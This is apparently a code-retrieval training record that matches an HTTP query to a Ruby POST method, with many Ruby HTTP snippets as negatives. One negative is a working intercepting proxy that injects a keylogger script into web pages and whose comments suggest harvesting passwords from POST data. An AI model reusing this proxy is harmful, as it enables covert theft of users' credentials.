"0.554181",
"0.5539597",
"0.5538289",
"0.553134",
"0.55299336",
"0.55260307",
"0.55219525",
"0.551672",
"0.55060256"
] |
0.0
|
-1
|
Does the actual HTTP level interaction.
|
def request(post_body, headers)
request = Net::HTTP::Post.new(endpoint_uri.path, headers)
authenticate(request) if username
request.body = post_body
response = @client.request(request)
{ status: response.code.to_i, body: response.body, content_type: response.content_type }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def http; end",
"def process_http_request\n # the http request details are available via the following instance variables:\n # @http_protocol\n # @http_request_method\n # @http_cookie\n # @http_if_none_match\n # @http_content_type\n # @http_path_info\n # @http_request_uri\n # @http_query_string\n # @http_post_content\n # @http_headers\n handle(@http_request_method, @http_post_content)\n\n send_ok()\n end",
"def process_http_request\n route_http_request\n end",
"def http_send_action\n http = http_inst\n req = http_post\n Response.new http.request req\n end",
"def send_request; end",
"def perform(request, response); end",
"def execute_http_request (method, url, args)\n @http_request = method, url.clone, args.clone\n self.http_response = HTTParty.send method, url, args\n Log.debug \"#{@http_response.request.http_method.to_s.split('::').last.upcase} - URL: #{@http_response.request.last_uri}\"\n Log.debug 'HEADER:'\n Log.debug http_response.request.options[:headers]\n # Log.debug @http_response.request.options[:body] if @http_response.request.options[:body]\n Log.debug 'BODY:' if http_response\n Log.debug http_response if http_response\n http_response\n end",
"def do_request(request, response)\n if request.request_method != 'GET'\n response.status = 405\n LOG.error \"Unsupported request method #{request.request_method}\"\n return\n end\n\n do_get(request, response)\n end",
"def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n # prepare request\n req = HTTParty::Request.new http_method, path, req_options\n req.options[:timeout] = CityGrid.custom_timeout if req.options && CityGrid.custom_timeout_set?\n\n # Sanitized request for logs\n safe_req_options = strip_unsafe_params(http_method, req_options)\n req_to_output = HTTParty::Request.new http_method, path, safe_req_options\n req_for_airbrake = { :method => http_method, :path => path, :options => safe_req_options }\n\n begin\n response = req.perform\n rescue => ex \n if defined?(Rails.logger)\n Rails.logger.error safe_req_options\n Rails.logger.error req_to_output\n Rails.logger.error req_for_airbrake\n Rails.logger.error ex\n end\n raise CityGridExceptions::RequestError.new req_for_airbrake, nil, ex.message, req_to_output.to_curl\n ensure\n if CityGrid.print_curls? \n if defined?(Rails.logger)\n Rails.logger.info req_to_output.to_curl\n puts req_to_output.to_curl\n else\n puts req_to_output.to_curl\n end\n end\n end\n\n response_status = parse_response_status response\n \n begin \n # catch unparsable responses (html etc)\n if !response.parsed_response.is_a?(Hash)\n #pp \"[gem] the response was unparsable (response was not a hash)\"\n raise CityGridExceptions::ResponseParseError.new req_for_airbrake, response, \"the response was unparsable (response was not a hash)\", req_to_output.to_curl\n else\n # Parse and handle new response codes \n if !response_status.nil? && response_status[\"code\"] != \"SUCCESS\" && response_status[\"code\"] != 200\n raise CityGridExceptions.appropriate_error(response_status[\"code\"]).new req_for_airbrake, response, response_status[\"message\"].to_s, req_to_output.to_curl\n else\n return CityGrid::API::Response.new response\n end\n end\n rescue => ex\n pp \"API ERROR: #{ex}\"\n raise ex if CityGrid.raise_errors?\n end\n end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def send_request(req); end",
"def do_GET(request, _response)\n log_request(request)\n end",
"def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n # prepare request\n req = HTTParty::Request.new http_method, path, req_options\n\n # Sanitized request for logs\n safe_req_options = strip_unsafe_params(http_method, req_options)\n req_to_output = HTTParty::Request.new http_method, path, safe_req_options\n req_for_airbrake = { :method => http_method, :path => path, :options => safe_req_options }\n\n begin\n response = req.perform\n rescue => ex\n raise CityGridExceptions::RequestError.new req_for_airbrake, ex\n ensure\n if CityGrid.print_curls? \n if defined?(Rails.logger)\n Rails.logger.info req_to_output.to_curl\n else\n puts req_to_output.to_curl\n end\n end\n end\n\n \n begin \n # catch unparsable responses (html etc)\n if !response.parsed_response.is_a?(Hash)\n #pp \"[gem] the response was unparsable (response was not a hash)\"\n raise CityGridExceptions::ResponseParseError.new req_for_airbrake, response\n # catch responses not in new response format\n elsif response[\"errors\"]\n #pp \"[gem] An error in the old response format was caught. Raising a general response error...\"\n raise CityGridExceptions::ResponseError.new req_for_airbrake, response[\"errors\"], response\n\n # Parse and handle new response codes \n elsif (response[\"response\"] && response[\"response\"][\"code\"] != \"SUCCESS\") && \n (response[\"response\"] && response[\"response\"][\"code\"] != 200) && \n (response[\"response\"] && response[\"response\"][\"code\"] != 400) \n error_code = response[\"response\"][\"code\"]\n #pp \"[gem] The response was contained in the first level of the response hash. Below:\"\n #pp response\n #pp \"found error code: #{error_code}\"\n #pp \"****************************************************************************\"\n raise CityGridExceptions.appropriate_error(error_code).new req_for_airbrake, response, response[\"response\"][\"message\"].to_s #+ \" \" + CityGridExceptions.print_superclasses(error_code)\n # if the response is a nested hash/nested hash containing arrays\n elsif response[\"totalNumEntries\"] && response[\"response\"].nil?\n #pp \"[gem] now parsing a response with multiple entries: #{response}\"\n error_code = parse_multiple_responses(response)\n #pp \"the error code that came back is #{error_code}\"\n if error_code.nil? || error_code == []\n #pp \"[gem] passing over this for now\"\n return CityGrid::API::Response.new response # pass over for now\n elsif error_code[0] == \"SUCCESS\" || error_code[0] == 200 || error_code[0] == 400\n return CityGrid::API::Response.new response\n else \n #pp \"[gem] we found an error and it was #{error_code[1]}\"\n raise CityGridExceptions.appropriate_error(error_code[0]).new req_for_airbrake, response, error_code[1].to_s + \" \"# + CityGridExceptions.print_superclasses(error_code[0])\n end\n else\n return CityGrid::API::Response.new response\n end\n rescue => ex\n pp \"The gem threw an error: #{ex}\"\n raise ex if CityGrid.raise_errors?\n end\n end",
"def http_call(payload)\n response =\n log_http_call(payload) do\n http = payload[:http] || create_http_connection(payload[:uri])\n http.start do |session|\n if payload[:method] == :get\n session.get(payload[:uri].request_uri, payload[:header])\n else\n session.send(payload[:method], payload[:uri].request_uri, payload[:body], payload[:header])\n end\n end\n end\n handle_response(response)\n end",
"def process_http_request(res, req = nil, params = nil)\n case res\n when HTTP_SUCCESS\n Log.debug('Http success')\n res\n when HTTP_REDIRECT\n if allow_redirect\n uri = URI(res['location'])\n @host = uri.host\n @port = uri.port\n Log.debug(\"Http redirect, setting new host to: #{@host}:#{@port}, and retrying\")\n api_execute(uri.path, req.method.downcase.to_sym, params: params)\n else\n Log.debug('Http redirect not allowed')\n res.error!\n end\n when HTTP_CLIENT_ERROR\n fail Error.from_http_response(res)\n else\n Log.debug('Http error')\n Log.debug(res.body)\n res.error!\n end\n end",
"def http *xs\n env.http *xs\n end",
"def http( *args )\n p http_get( *args )\n end",
"def run_request(method, url, body, headers); end",
"def perform_http_request\n request_opts = { followlocation: true, ssl_verifypeer: false, timeout: 30 }\n @response = Typhoeus.get(@webpage_request.url, request_opts)\n @response && process_response_data\n @response\n end",
"def run\n return if halted?\n\n http = request.em\n http.callback {\n Benchy.logger.info \"#{name}\\t| #{request.method.upcase} #{request.url} - HTTP #{http.response_header.status}\"\n run\n }\n http.errback {\n Benchy.logger.error \"#{name}\\t| Connection error!\"\n halt # TODO - Make this fail the ping and try again, not halt\n }\n end",
"def do_request\n\t\t\tself.response = post_request(options)\n\t\tend",
"def raw_response; end",
"def process(request, response)\n indirection, method, key, params = uri2indirection(http_method(request), path(request), params(request))\n\n check_authorization(indirection, method, key, params)\n\n send(\"do_#{method}\", indirection, key, params, request, response)\n rescue SystemExit,NoMemoryError\n raise\n rescue Exception => e\n return do_exception(response, e)\n end",
"def start(env=ENV, stdin=$stdin, stdout=$stdout)\n sock = WEBrick::CGI::Socket.new(@config, env, stdin, stdout)\n req = HTTPRequest.new(@config)\n res = HTTPResponse.new(@config)\n unless @config[:NPH] or defined?(MOD_RUBY)\n def res.setup_header\n unless @header[\"status\"]\n phrase = HTTPStatus::reason_phrase(@status)\n @header[\"status\"] = \"#{@status} #{phrase}\"\n end\n super\n end\n def res.status_line\n \"\"\n end\n end\n\n begin\n req.parse(sock)\n req.script_name = (env[\"SCRIPT_NAME\"] || File.expand_path($0)).dup\n req.path_info = (env[\"PATH_INFO\"] || \"\").dup\n req.query_string = env[\"QUERY_STRING\"]\n req.user = env[\"REMOTE_USER\"]\n res.request_method = req.request_method\n res.request_uri = req.request_uri\n res.request_http_version = req.http_version\n res.keep_alive = req.keep_alive?\n self.service(req, res)\n rescue HTTPStatus::Error => ex\n res.set_error(ex)\n rescue HTTPStatus::Status => ex\n res.status = ex.code\n rescue Exception => ex\n @logger.error(ex)\n res.set_error(ex, true)\n ensure\n req.fixup\n if defined?(MOD_RUBY)\n res.setup_header\n Apache.request.status_line = \"#{res.status} #{res.reason_phrase}\"\n Apache.request.status = res.status\n table = Apache.request.headers_out\n res.header.each{|key, val|\n case key\n when /^content-encoding$/i\n Apache::request.content_encoding = val\n when /^content-type$/i\n Apache::request.content_type = val\n else\n table[key] = val.to_s\n end\n }\n res.cookies.each{|cookie|\n table.add(\"Set-Cookie\", cookie.to_s)\n }\n Apache.request.send_http_header\n res.send_body(sock)\n else\n res.send_response(sock)\n end\n end\n end",
"def net_http_res; end",
"def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n req = HTTParty::Request.new http_method, path, req_options\n\n begin\n response = req.perform\n rescue => ex\n raise RequestError.new req, ex\n end\n \n if defined?(Rails.logger)\n Rails.logger.info req.to_curl\n else\n puts req.to_curl\n end\n \n if !response.parsed_response.is_a?(Hash)\n raise ResponseParseError.new req, response\n elsif response[\"errors\"]\n raise ResponseError.new req, response[\"errors\"], response\n elsif response[\"message\"] && response[\"message\"] == \"Invalid Token or Expired\"\n raise InvalidAuthToken.new\n else\n return CityGrid::API::Response.new response\n end\n \n rescue => ex\n raise ex if CityGrid.raise_errors?\n end",
"def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end",
"def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end",
"def respond\n\t\tif http_auth?\n\t\t\t\thttp_auth\n\t\telse\n\t\t\t\tredirect\n\t\tend\n\tend",
"def handle_request to_client, request_number\n\t\twrite_debug(request_number, \"Handling new request\", MESSAGE)\n\t\trequest_line = to_client.readline.chomp\n\n\t\tverb = request_line[/^\\w+/]\n\t\turl = request_line[/^\\w+\\s+(\\S+)/, 1]\n\t\tversion = request_line[/HTTP\\/(1\\.\\d)\\s*$/, 1]\n\t\turi = URI::parse url\n\t\thost = ''\n\t\tport = 80\n\t\t\n\t\trequest_lines = []\n\t\trequest_lines << request_line\n\n\t\tloop do \n\t\t\tline = to_client.readline.chomp\n\n\t\t\tif line =~ /^Host: (.*)$/\n\t\t\t\thost = $1\n\t\t\t\tif host =~ /([^:]*):([0-9]*)$/\n\t\t\t\t\thost = $1\n\t\t\t\t\tport = $2.to_i\n\t\t\t\telse\n\t\t\t\t\tport = 80\n\t\t\t\tend\n\t\t\tend\n\t\t\trequest_lines << line\n\n\t\t\tif line == \"\"\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\n\t\twrite_debug(request_number, \"Make connection to \" + host + \" on port \" + port.to_s, VERBOSE)\n\t\t\n\t\t# Show what got requested\n\t\twrite_debug(request_number, verb + \" \" + url, VERBOSE)\n\t\t# This has a little more info if you want it\n\t\t# write_debug(request_number, \"#{verb} #{uri.path}?#{uri.query} HTTP/#{version}\\r\\n\")\n\n\t\tto_server = TCPSocket.new(host, port)\n\t\t\n\t\tcontent_len = 0\n\n\t\trequest_lines.each do |line|\n\t\t\tif line =~ /^Content-Length:\\s+(\\d+)\\s*$/\n\t\t\t\tcontent_len = $1.to_i\n\t\t\tend\n\n\t\t\tif line =~ /Connection: keep-alive/\n\t\t\t\tline = \"Connection: close\"\n\t\t\tend\n\n\t\t\tif line =~ /^Accept-Encoding:.*/\n\t\t\t\t# Strip any compression\n\t\t\t\tnext\n\t\t\telse\n\t\t\t\tto_server.write(line + \"\\n\")\n\t\t\t\tif line == \"\"\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# If there is post data then there will be one more line to read\n\t\tif content_len > 0\n\t\t\twrite_debug(request_number, \"Its a POST, read \" + content_len.to_s + \" bytes of data and write it out\", DEBUG)\n\t\t\t# Having to use read not readline here as there is no new line\n\t\t\t# on the end of this so just read the number of bytes I'm told to \n\t\t\t# and no more\n\t\t\tline = to_client.read(content_len)\n\t\t\t# Here you have full access to everything that is being posted so feel free\n\t\t\t# to parse through fields, pull out passwords and other juicy stuff.\n\t\t\t# You may have captured most of this with the key logger but this is the \n\t\t\t# real data that is being sent so may as well grab it here as well\n\t\t\t#\n\t\t\t# No new line on the end of this\n\t\t\tto_server.write(line)\n\t\tend\n\n\t\t# Optimisation, check the file extension and if it is image,\n\t\t# css, js or other static stuff then do a quick loop, same\n\t\t# for HEAD or CONNECT, otherwise drop into the next to do\n\t\t# injection\n\n\t\textension = File.extname(uri.path)\n\n\t\t# black listing is a bad way to do this but as it is probably better\n\t\t# to parse a page and not inject into it than to miss a page\n\t\t# I think it is better to just remove things we know we don't want\n\t\t# to parse.\n\t\tif extension =~ /(txt)|(js)|(swf)|(pdf)|(gif)|(jpg)|(css)|(xml)|(png)|(rss)/i or verb =~ /(head)|(connect)|(trace)/i\n\t\t\t# write_debug request_number, \"Not web page, don't care\", DEBUG\n\n\t\t\tbuff = \"\"\n\t\t\tloop do\n\t\t\t\tto_server.read(4048, buff)\n\t\t\t\tto_client.write(buff)\n\t\t\t\tbreak if buff.size < 4048\n\t\t\tend\n\t\telse\n\t\t\twrite_debug request_number, \"Headers done, proxying data\", VERBOSE\n\t\t\tbuff = \"\"\n\t\t\tdo_inject = false\n\t\t\tinjected = false\n\t\t\tfixup = true\n\t\t\tchunk = false\n\n\t\t\tloop do\n\t\t\t\tto_server.read(4050, buff)\n\t\t\t\tbreak if buff.size == 0\n\n\t\t\t\twrite_debug(request_number, \"Buffer length = \" + buff.length.to_s, DEBUG)\n\t\t\t\twrite_debug(request_number, \"First 10: \" + buff[0, 10].inspect, DEBUG)\n\t\t\t\twrite_debug(request_number, \"Last 10: \" + buff[-10, 10].inspect, DEBUG)\n\n\t\t\t\t# This dumps the full buffer, only really needed for hardcore debugging\n\t\t\t\t# write_debug request_number, buff, DEBUG\n\t\t\t\t# Is it a HTML page?\n\t\t\t\tif (buff =~ /Content-Type: text\\/html/)\n\t\t\t\t\tif buff.match(/Content-Length: ([0-9]*)/)\n\t\t\t\t\t\told_length = $1.to_i\n\t\t\t\t\t\tnew_length = old_length + @script_inject.length\n\t\t\t\t\t\twrite_debug request_number, \"Length adjusted (\" + old_length.to_s + \" to \" + new_length.to_s + \") ready for injection\", DEBUG\n\t\t\t\t\t\tbuff[\"Content-Length: \" + old_length.to_s] = \"Content-Length: \" + new_length.to_s\n\t\t\t\t\t\tdo_inject = true\n\t\t\t\t\telsif buff.match(/Transfer-Encoding: chunked/)\n\t\t\t\t\t\t# chunked encoding doesn't have a length so don't need to patch it up\n\t\t#\t\t\t\tdo_inject = true\n\t\t\t\t\t\twrite_debug request_number, \"Chunked encoding\", DEBUG\n\t\t\t\t\t\tfixup = false\n\t\t\t\t\t\tchunk = true\n\t\t\t\t\telse\n\t\t\t\t\t\twrite_debug request_number, \"No length type specified, odd\", DEBUG\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t# Doing this in its own loop as the head isn't necessariliy in the same packet as the transfer encoding tag \n\t\t\t\t\tinjected = false\n\t\t\t\t\tbuff_a = []\n\t\t\t\t\tif chunk and buff.match(/<head/i)\n\t\t\t\t\t\t# with chunk encoding there is a blank line after the HTML header\n\t\t\t\t\t\t# then before the data is a hex string saying the size of the chunk\n\t\t\t\t\t\t# that is about to be sent\n\n\t\t\t\t\t\tpatch_next = false\n\t\t\t\t\t\t# Can't do an inplace replace so easiest thing to do is to\n\t\t\t\t\t\t# just push it all into a new buffer\n\t\t\t\t\t\tnew_buff = \"\"\n\n\t\t\t\t\t\tbuff_a = buff.split(/\\r\\n/)\n\n\t\t\t\t\t\tindex = 0\n\t\t\t\t\t\tbuff_a.each do |line|\n\t\t\t\t\t\t\tif line.match /(<head[^>]*>)/i\n\t\t\t\t\t\t\t\thead = $1\n\t\t\t\t\t\t\t\twrite_debug request_number, \"Head found: \" + head, DEBUG\n\t\t\t\t\t\t\t\tbuff_a[index][head] = head + @script_inject\n\t\t\t\t\t\t\t#\twrite_debug request_number, \"New head: \" + buff_a[index][head], DEBUG\n\t\t\t\t\t\t\t\twrite_debug request_number, \"New head real: \" + head + @script_inject, DEBUG\n\t\t\t\t\t\t\t\twrite_debug request_number, \"Keylogger Injected Into - \" + host, VERBOSE\n\t\t\t\t\t\t\t\tinjected = true\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tindex += 1\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tif injected\n\t\t\t\t\t\t\tindex.downto(0) do |rev_index|\n\t\t\t\t\t\t\t\tline = buff_a[rev_index].strip\n\t\t\t\t\t\t\t\tif line == \"\" and line.match(/^([0-9a-h]*)$/)\n\t\t\t\t\t\t\t\t\told_length = buff_a[rev_index + 1].to_i(16)\n\t\t\t\t\t\t\t\t\tnew_length = old_length + @script_inject.length\n\t\t\t\t\t\t\t\t\tbuff_a[rev_index + 1] = new_length.to_s(16)\n\t\t\t\t\t\t\t\t\twrite_debug request_number, \"Length adjusted (\" + old_length.to_s + \" to \" + new_length.to_s + \") ready for injection\", DEBUG\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tbuff = buff_a.join(\"\\r\\n\")\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t# write_debug request_number, \"no type match\"\n\t\t\t\tend\n\t\t\t\t# doing this outside the other loop as a page could be broken down into lots of small reads\n\t\t\t\tif do_inject\n\t\t\t\t\tif buff.match /(<head[^>]*>)/i\n\t\t\t\t\t\thead = $1\n\n\n\t\t\t\t\t\twrite_debug request_number, \"Head found: \" + head, DEBUG\n\n\n\t\t\t\t\t\t#write_debug request_number, head\n\t\t\t\t\t\tbuff[head] = head + @script_inject\n\t\t\t\t\t\twrite_debug request_number, \"New head real: \" + buff[head] + @script_inject, DEBUG\n\t\t\t\t\t\twrite_debug request_number, \"Keylogger Injected Into - \" + host, VERBOSE\n\t\t\t\t\t\t\n\t\t\t\t\t\tinjected = true\n\t\t\t\t\telse\n\t\t\t\t#\t\twrite_debug request_number, \"no head match\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# Dump the full buffer after it has been patched up\n\t\t\t\t#write_debug request_number, buff, DEBUG\n\t\t\t\tto_client.write(buff)\n\t\t\t\twrite_debug request_number, \"Buffer size written to client: \" + buff.size.to_s, DEBUG\n\t\t\t\t#break if buff.size < 4048\n\t\t\tend\n\n\t\t\t# if for some reason we couldn't inject, the send a bunch of spaces\n\t\t\t# of the right length at the end so the content length still matches up\n\t\t\tif !injected and fixup\n\t\t\t\twrite_debug request_number, \"Space injected to patch up\"\n\t\t\t\tto_client.write(\" \" * @script_inject.length)\n\t\t\tend\n\t\tend\n\t\t\t\n\t\t# Close the sockets\n\t\tto_client.close\n\t\tto_server.close\n\tend",
"def handle_request(client, lines, requests); end",
"def http_request(url, options = {})\n\t\t\treq = Net::HTTP::Get.new(url)\n\t\t\treq[\"user-agent\"] = @@user_agent # ensure returns XML\n\t\t\treq[\"cookie\"] = \"cookieMenu=all; cookieLangId=\" + options[:lang] + \"; cookies=true;\"\n\t\t\t\n\t\t\treq[\"cookie\"] += options[:cookie] if options[:cookie]\n\n\t\t\turi = URI.parse(URI.escape(url))\n\t\t\t\n\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\t\n\t\t\tif (options[:secure])\n\t\t\t\tputs \"Secure authentication\" if options[:debug]\n\n\t\t\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\t\t\thttp.use_ssl = true\n\t\t\tend\n\t\t \n\t\t\t\n\t\t\tbegin\n\t\t\t\ttries = 0\n\t\t\t http.start do\n\t\t\t\t puts \"Get URL \"+ url if options[:debug]\n\t\t\t res = http.request req\n\t\t\t\t\t# response = res.body\n\t\t\t\t\t\n\t\t\t\t\t# FIXME WoW Armory rate limiter. Simple version\n\t\t\t\t\t# Needs to work across instances and not sleep for 1.5 if the\n\t\t\t\t\t# request took more than 1.5\n\t\t\t\t\t# just need a 1.5 second wait until the start of the next request\n \n if options[:rate_limit]\n\t\t\t\t\t puts \"Sleeping for 1.5 seconds\" if options[:debug]\n \t\t\t\t\tsleep 1.5\n\t\t\t\t\tend\n\n\t\t\t\t\tresponse = case res\n\t\t\t\t\t\twhen Net::HTTPSuccess, Net::HTTPRedirection\n\t\t\t\t\t\t\tres.body\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttries += 1\n\t\t\t\t\t\t\tif tries > @@max_connection_tries\n\t\t\t\t\t\t\t\traise Wowr::Exceptions::NetworkTimeout.new('Timed out')\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tredo\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t end\n\t\t\trescue Timeout::Error => e\n raise Wowr::Exceptions::NetworkTimeout.new('Timed out - Timeout::Error Exception')\n\t\t\trescue SocketError, Net::HTTPExceptions => e\n\t\t\t\traise Wowr::Exceptions::ServerDoesNotExist.new('Specified server at ' + url + ' does not exist.')\n\t\t\tend\n\t\tend",
"def call\n conn = http_setup\n res = set_up_response(method.to_sym, uri, conn, headers ,body)\n\n response = HttpResponse.new(res)\n response.uri = uri\n raise response.error if !response.success? && !@has_retry_filter\n response\n end",
"def request\n self.response = prepare_response(http_communication.content)\n end",
"def send_request\n \t\taz = @args[:authorization] and az = \"Authorization: #{az}\\r\\n\"\n body = @args.delete(:body)\n headers = @args.delete(:headers)\n body.strip! if body\n content_type = @args[:content_type]\n \t\tr = [\n \t\t \t\"#{@args[:verb]} #{@args[:uri]} HTTP/#{@args[:version] || \"1.1\"}\\r\\n\",\n \t\t\t\"Host: #{@args[:host_header] || \"_\"}\\r\\n\",\n \t\t\taz || \"\",\n \t\t\t\"Content-Length: #{body.nil? ? 0 : body.size}\\r\\n\",\n \t\t\t\"Date: #{Time.now.httpdate}\\r\\n\",\n \t\t\tcontent_type.nil? ? \"\" : \"Content-Type: #{content_type}\\r\\n\"\n \t] + \n (headers.nil? ? [] : headers.keys.map{|key| \"#{key}: #{headers[key]}\\r\\n\"}) +\n [\"\\r\\n\", body]\n \n \t\t@conn.send_data(r.join)\n \tend",
"def handle_request(request) \n add_cookies!(request)\n authenticate_request!(request)\n response = @client.request(request)\n \n set_cookies(response)\n \n case response\n when Net::HTTPUnauthorized\n response = respond_to_challenge(request, response)\n end\n end",
"def http_get(request, response)\n # We're not using straight-up $_GET, because we want everything to be\n # unit testable.\n get_vars = request.query_parameters\n\n # CSP headers\n @server.http_response.update_header('Content-Security-Policy', \"img-src 'self'; style-src 'self';\")\n\n sabre_action = get_vars['sabreAction']\n\n case sabre_action\n when 'asset'\n # Asset handling, such as images\n serve_asset(get_vars['assetName'])\n return false\n when 'plugins'\n response.status = 200\n response.update_header('Content-Type', 'text/html; charset=utf-8')\n\n response.body = generate_plugin_listing\n return false\n else # includes \"when 'info'\"\n begin\n @server.tree.node_for_path(request.path)\n rescue Exception::NotFound => e\n # We're simply stopping when the file isn't found to not interfere\n # with other plugins.\n return nil\n end\n\n response.status = 200\n response.update_header('Content-Type', 'text/html; charset=utf-8')\n\n response.body = generate_directory_index(request.path)\n\n return false\n end\n end",
"def http\n @http || prepare_http_connection\n end",
"def process(request); end",
"def http_call( opts )\n # [review] - Don't use DEBUG inside Remote class but pull from calling method's class?\n # [review] - Not sure if this is the best/proper way to do things but it works...\n\n # Identify method entry\n debug_print \"#{ self.class } : #{ __method__ }\\n\"\n\n # Merge default options with those passed in by user to form complete opt list\n opts = HTTP_opts.merge(opts)\n\n\n # Check URL in hash and get URI from it, then set up HTTP connection\n if opts[:url] =~ /^#{URI::regexp}$/\n _uri = URI(opts[:url])\n else\n debug_print \"No URL specified in input opts, exiting HTTP call\\n\"\n return false\n end\n\n _http = Net::HTTP.new(_uri.host, _uri.port)\n\n # Print out verbose HTTP request if :verbose is set\n # For hardcore debugging when shit really doesn't work\n _http.set_debug_output $stderr if opts[:verbose] == true\n\n # If SSL is set in hash, set HTTP connection to use SSL\n _http.use_ssl = true if opts[:ssl] == true\n\n # Create request based on HTTP method\n # [review] - Not sure if to fail with no method or default to GET?\n case opts[:method].upcase\n when \"GET\"\n _req = Net::HTTP::Get.new(_uri.request_uri)\n\n when \"POST\"\n _req = Net::HTTP::Post.new(_uri.request_uri)\n\n else\n debug_print \"No method specified, cannot make HTTP request\\n\"\n return false\n end\n\n # Check for basic authentication key in hash\n if opts[:basic_auth].size == 2\n _req.basic_auth(opts[:basic_auth][0], opts[:basic_auth][1])\n end\n\n # Check for Authentication token key in hash to be used in header\n # I think this is pretty universal, but specifically works for GitHub\n # This is standard for OAuth I think...\n if opts[:auth]\n _req[\"Authorization\"] = \"token #{ opts[:auth] }\"\n end\n\n # But sometimes we need we need other headers\n # Set specific header (GitLab requires PRIVATE_TOKEN)\n opts[:headers].each do |header|\n _req[\"#{ header[:field] }\"] = header[:value]\n end\n\n\n # [review] - Add :data_format to use set_form_data vs json body?\n # For now, use Hash or Array, this is to differentiate between\n # putting post data in body vs putting it in the form\n\n # If a POST method, :data is present, and is a Hash, fill request body with data\n if opts[:method].upcase == \"POST\" && opts[:data] && opts[:data].is_a?(Hash)\n _req.body = opts[:data].to_json\n end\n\n # If a POST method, :data is present, and is an Array, use set_form_data\n if opts[:method].upcase == \"POST\" && opts[:data] && opts[:data].is_a?(Array)\n _req.set_form_data(opts[:data][0])\n end\n\n # Make HTTP request\n _resp = _http.request(_req)\n\n # Debug prints for status and message\n debug_print \"HTTP Response Code: #{ _resp.code }\\n\"\n debug_print \"HTTP Response Msg: #{ _resp.message }\\n\"\n\n # [fix] - Not sure if 401 is the only code that gives nonparseable body?\n # Figure out what other response codes are bad news for JSON.parse\n _json = _resp.code == \"401\" ? Hash.new : JSON.parse(_resp.body)\n debug_print \"JSON: \\n #{ _json }\\n\"\n\n # [review] - Returning hash of json + response the right thing to do?\n # return {:json => _json, :resp => _resp}\n return _json, _resp\n end",
"def GET; end",
"def _http_request(method, url, *args)\n request_args = get_hash_args(*args)\n url = get_url url unless url.to_s.start_with?('http://')\n request_args[:header] = @head\n request_args[:body] = \\\n JSON.dump(request_args[:body]) if request_args[:body]\n\n res = @http_session.request(method, url, request_args)\n status = res.status\n raise HTTPError, 'HTTPError: %s %s'\\\n % [status, (JSON.load(res.content)['message'] rescue res.reason)]\\\n if status >= 400 && status < 600\n res\n end",
"def set_request; end",
"def doPost(url)\n init\n checkHTTP(url)\n display\nend",
"def preflight\n head 200\n end",
